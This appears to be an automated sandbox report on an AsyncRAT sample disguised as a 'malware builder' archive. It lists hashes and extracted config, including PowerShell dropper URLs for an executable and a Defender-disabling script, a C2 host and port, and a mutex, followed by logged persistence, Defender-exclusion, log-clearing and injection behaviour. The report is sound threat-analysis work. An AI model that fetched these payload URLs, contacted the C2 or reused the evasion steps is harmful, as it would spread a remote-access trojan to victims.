asyncrat | 60d598cba87775c68774967bfeeebc98cc01315f294872e417cccdd3e5c869ed

Analysis

max time kernel
257s
max time network
305s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-10-2024 23:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Hidden-Malware-BuilderV5-main.zip
Size

2.6MB
MD5

d3de7ff429c8d05cb7ff4b1941d8bb0a
SHA1

e70963f512a73ad46a0be2ec31e6e7d30fe6365b
SHA256

60d598cba87775c68774967bfeeebc98cc01315f294872e417cccdd3e5c869ed
SHA512

1f3035dc16c66b7e97ffd01f0cfe02ee0c466d74e4aebe7dfa9978d6a310cef564e29d8237710dd5d539ace0e86828c6219f7f432515ceb49a9ff08f414d23c8
SSDEEP

49152:xeCBCiv3I9yUfFH9Py82t+OfzfSQSCaP52pNI7RnIWUMskmkekgVZmQC1kzcLbE8:pBCUY9rF5OfTdnaxwN+RnIWs2eOQYYc3

Score

10^/10

asyncrat default defense_evasion execution rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://github.com/MalwareTeam/SecurityHealthService/raw/main/SecurityHealthService.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

bay-helps.gl.at.ply.gg:36538

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 2700 created 5952 2700 WerFault.exe H-Malware Builder V5.exe

description	pid	process	target process
PID 2700 created 5952	2700	WerFault.exe	H-Malware Builder V5.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

Stub.exesvchost.exesvchost.exe

description	pid	process	target process
PID 1944 created 616	1944	Stub.exe	winlogon.exe
PID 4108 created 2200	4108	svchost.exe	H-Malware Builder V5.exe
PID 5844 created 5952	5844	svchost.exe	H-Malware Builder V5.exe
PID 5844 created 824	5844	svchost.exe	H-Malware Builder V5.exe

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	family_asyncrat
behavioral1/memory/1944-126-0x00000225B70D0000-0x00000225B70E2000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

47 1420 powershell.exe
48 1420 powershell.exe
52 4272 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

2924 powershell.exe
3416 powershell.exe
224 powershell.exe
1560 powershell.exe
5664 powershell.exe

flow	pid	process
47	1420	powershell.exe
48	1420	powershell.exe
52	4272	powershell.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

H-Malware Builder V5.exeStub.exeH-Malware Builder V5.exeH-Malware Builder V5.exeH-Malware Builder V5.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	H-Malware Builder V5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Stub.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	H-Malware Builder V5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	H-Malware Builder V5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	H-Malware Builder V5.exe

Drops startup file 4 IoCs

Processes:

H-Malware Builder V5.exeH-Malware Builder V5.exeH-Malware Builder V5.exeH-Malware Builder V5.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe

Executes dropped EXE 10 IoCs

Processes:

H-Malware Builder V5.exeStub.exeH-Malware Builder V5.exeH-Malware Builder V5.exeH-Malware Builder V5.exeH-Malware Builder V5.exeH-Malware Builder V5.exeH-Malware Builder V5.exeH-Malware Builder V5.exeILMerge.exe

pid	process
4444	H-Malware Builder V5.exe
1944	Stub.exe
3424	H-Malware Builder V5.exe
4364	H-Malware Builder V5.exe
2200	H-Malware Builder V5.exe
3804	H-Malware Builder V5.exe
5952	H-Malware Builder V5.exe
3496	H-Malware Builder V5.exe
824	H-Malware Builder V5.exe
5340	ILMerge.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 4 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Steps-Recorder.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Inventory.evtx	svchost.exe

Drops file in System32 directory 13 IoCs

Processes:

svchost.exesvchost.exeOfficeClickToRun.exeExplorer.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\ovufcs.exe	Explorer.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Stub.exe

description pid process target process

PID 1944 set thread context of 1332 1944 Stub.exe dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 1944 set thread context of 1332	1944	Stub.exe	dllhost.exe

Checks SCSI registry key(s) 3 TTPs 19 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

SystemSettings.exeRuntimeBroker.exetaskmgr.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	SystemSettings.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000	SystemSettings.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	SystemSettings.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	SystemSettings.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	SystemSettings.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	SystemSettings.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	SystemSettings.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	SystemSettings.exe

Checks processor information in registry 2 TTPs 15 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

taskmgr.exeWerFault.exeWerFault.exemousocoreworker.exeWerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 10 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exeWerFault.exemousocoreworker.exeWerFault.exeSystemSettings.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	SystemSettings.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	SystemSettings.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

Processes:

Explorer.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE

Modifies data under HKEY_USERS 64 IoCs

Processes:

lsass.exesvchost.exeOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	lsass.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	lsass.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	lsass.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	lsass.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	lsass.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	lsass.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	lsass.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	lsass.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	lsass.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	lsass.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	lsass.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1729121215"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={D750C836-6DA6-467B-A44A-33C88B5171B5}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	lsass.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	lsass.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 16 Oct 2024 23:26:56 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	lsass.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe

Modifies registry class 64 IoCs

Processes:

RuntimeBroker.exeExplorer.EXERuntimeBroker.exe7zFM.exesihost.exetaskmgr.exe

description	ioc	process
Key deleted	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3daa07ef-4fe4-4039-	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0 = 5a0031000000000050592cbb100053797374656d33320000420009000400efbe874f774850592cbb2e000000b90c000000000100000000000000000000000000000081887500530079007300740065006d0033003200000018000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\WFlags = "0"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1ee38cd8-0191-4302- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3daa07ef-4fe4-4039-	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1ee38cd8-0191-4302- = "8324"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\MinPos1280x720x96(1).x = "4294967295"	Explorer.EXE
